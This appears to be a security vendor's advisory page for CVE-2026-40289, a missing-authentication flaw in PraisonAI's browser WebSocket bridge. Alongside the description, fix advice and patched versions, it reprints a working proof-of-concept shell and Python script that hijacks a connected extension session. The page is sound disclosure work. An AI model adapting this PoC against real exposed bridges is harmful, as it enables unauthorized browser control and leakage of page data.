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CVE-2026-40289 praisonaiagents

CRITICAL

CVE-2026-40289 is a critical-severity (CVSS 9.1) Missing Authentication vulnerability in praisonaiagents. A fix is available for praisonaiagents — see the affected versions and patch details below.

PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions

Also known asGHSA-8x8f-54wf-vv92PYSEC-2026-467PYSEC-2026-485
Published
Apr 14, 2026
Updated
Aug 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Sep 21, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40289.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

CVE-2026-40289 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

2 pkgs affected
🐍praisonaiagents🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send start_session, cause the server to forward start_automation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details

The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

  • Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30
  • Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173
  • Unauthenticated start_session routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302
  • Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356
  • Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

origin = websocket.headers.get("origin")
if origin:
    ...
    if not is_allowed:
        await websocket.close(code=1008)
        return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"start_session", ...}. The server then looks for the first other websocket without a session and sends it a start_automation message:

if client_conn != conn and client_conn.websocket and not client_conn.session_id:
    await client_conn.websocket.send_text(json_mod.dumps(start_msg))
    client_conn.session_id = session_id
    sent_to_extension = True
    break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same session_id, including the unauthenticated initiating client:

action_response = {
    "type": "action",
    "session_id": session_id,
    **action,
}

for client_id, client_conn in self._connections.items():
    if client_conn.session_id == session_id and client_conn != conn:
        await client_conn.websocket.send_json(action_response)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC

I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI"
./tmp/pocs/poc.sh

Expected vulnerable output:

[+] No-Origin client accepted: True
[+] Session forwarded to extension: True
[+] Action broadcast to attacker: True
[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

  1. Start the local browser bridge from the checked-out source tree.
  2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin.
  3. Connect a second websocket with no Origin header.
  4. Send start_session from the unauthenticated websocket.
  5. Observe that the server forwards start_automation to the extension websocket.
  6. Send an observation from the extension websocket using the assigned session_id.
  7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPT_DIR/../.."

exec uv run --no-project \
  --with fastapi \
  --with uvicorn \
  --with websockets \
  python3 "$SCRIPT_DIR/poc.py"

tmp/pocs/poc.py:

#!/usr/bin/env python3
"""Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects:
1. A fake extension client using an arbitrary chrome-extension Origin
2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the
extension connection, and can receive the resulting action broadcast back over
that hijacked session.
"""

from __future__ import annotations

import asyncio
import json
import os
import socket
import sys
import tempfile
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[2]
SRC_ROOT = REPO_ROOT / "src" / "praisonai"
if str(SRC_ROOT) not in sys.path:
    sys.path.insert(0, str(SRC_ROOT))


def _pick_port() -> int:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


class DummyBrowserAgent:
    """Minimal stub to avoid real LLM/browser dependencies during validation."""

    def __init__(self, model: str, max_steps: int, verbose: bool):
        self.model = model
        self.max_steps = max_steps
        self.verbose = verbose

    async def aprocess_observation(self, message: dict) -> dict:
        return {
            "action": "done",
            "thought": f"processed: {message.get('url', '')}",
            "done": True,
            "summary": "dummy action generated",
        }


async def main() -> int:
    temp_home = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-")
    os.environ["HOME"] = temp_home.name

    from praisonai.browser.server import BrowserServer
    import praisonai.browser.agent as agent_module
    import uvicorn
    import websockets

    agent_module.BrowserAgent = DummyBrowserAgent

    port = _pick_port()
    server = BrowserServer(host="127.0.0.1", port=port, verbose=False)
    app = server._get_app()

    config = uvicorn.Config(
        app,
        host="127.0.0.1",
        port=port,
        log_level="error",
        access_log=False,
    )
    uvicorn_server = uvicorn.Server(config)
    server_task = asyncio.create_task(uvicorn_server.serve())

    try:
        for _ in range(50):
            if uvicorn_server.started:
                break
            await asyncio.sleep(0.1)
        else:
            raise RuntimeError("Uvicorn server did not start in time")

        ws_url = f"ws://127.0.0.1:{port}/ws"

        async with websockets.connect(
            ws_url,
            origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
        ) as extension_ws:
            extension_welcome = json.loads(await extension_ws.recv())
            print("[+] Extension welcome:", extension_welcome)

            async with websockets.connect(ws_url) as attacker_ws:
                attacker_welcome = json.loads(await attacker_ws.recv())
                print("[+] Attacker welcome:", attacker_welcome)

                await attacker_ws.send(
                    json.dumps(
                        {
                            "type": "start_session",
                            "goal": "Open internal admin page and reveal secrets",
                            "model": "dummy",
                            "max_steps": 1,
                        }
                    )
                )
                start_response = json.loads(await attacker_ws.recv())
                print("[+] Attacker start_session response:", start_response)

                hijacked_msg = json.loads(await extension_ws.recv())
                print("[+] Extension received forwarded message:", hijacked_msg)

                session_id = hijacked_msg["session_id"]
                await extension_ws.send(
                    json.dumps(
                        {
                            "type": "observation",
                            "session_id": session_id,
                            "step_number": 1,
                            "url": "https://victim.example/internal",
                            "elements": [{"selector": "#secret"}],
                        }
                    )
                )

                attacker_action = json.loads(await attacker_ws.recv())
                attacker_status = json.loads(await attacker_ws.recv())
                print("[+] Attacker received broadcast action:", attacker_action)
                print("[+] Attacker received completion status:", attacker_status)

                no_origin_client_connected = attacker_welcome.get("status") == "connected"
                forwarded_to_extension = hijacked_msg.get("type") == "start_automation"
                action_broadcasted = (
                    attacker_action.get("type") == "action"
                    and attacker_action.get("session_id") == session_id
                )

                print("[+] No-Origin client accepted:", no_origin_client_connected)
                print("[+] Session forwarded to extension:", forwarded_to_extension)
                print("[+] Action broadcast to attacker:", action_broadcasted)

                if no_origin_client_connected and forwarded_to_extension and action_broadcasted:
                    print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.")
                    return 0

                print("[-] RESULT: NOT VULNERABLE")
                return 1
    finally:
        uvicorn_server.should_exit = True
        try:
            await asyncio.wait_for(server_task, timeout=5)
        except Exception:
            server_task.cancel()
        temp_home.cleanup()


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact

This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

  • Operators who run praisonai browser start with the default host binding
  • Users with an active connected browser extension session
  • Environments where the bridge is reachable from other hosts on the network

Recommended Fix

Suggested remediations:

  1. Require explicit authentication for every websocket client connecting to /ws.
  2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport.
  3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure.
  4. Do not route start_session to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiagentsall versions1.5.140pip install --upgrade 'praisonaiagents==1.5.140'
🐍PyPIpraisonaiall versions4.5.139pip install --upgrade 'praisonai==4.5.139'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonaiagents, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update praisonaiagents to 1.5.140 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-40289 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-40289 can be triaged on real exposure rather than presence alone.

Tailored to CVE-2026-40289. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `praisonai browser start` exposes the browser bridge on `0.0.0.0` by default, and its `/ws` endpoint accepts websocket clients that omit the `Origin` header entirely. An unauthenticated network client can connect as a fake controller, send `start_session`, cause the server to forward `start_automation` to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials. ### Details The issue is in the browser bridge tru
O3 Security · Impact-Aware SCA

Is CVE-2026-40289 in your dependencies?

O3 Security finds CVE-2026-40289 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.

CVE-2026-40289: praisonaiagents (Critical 9.1) | O3 Security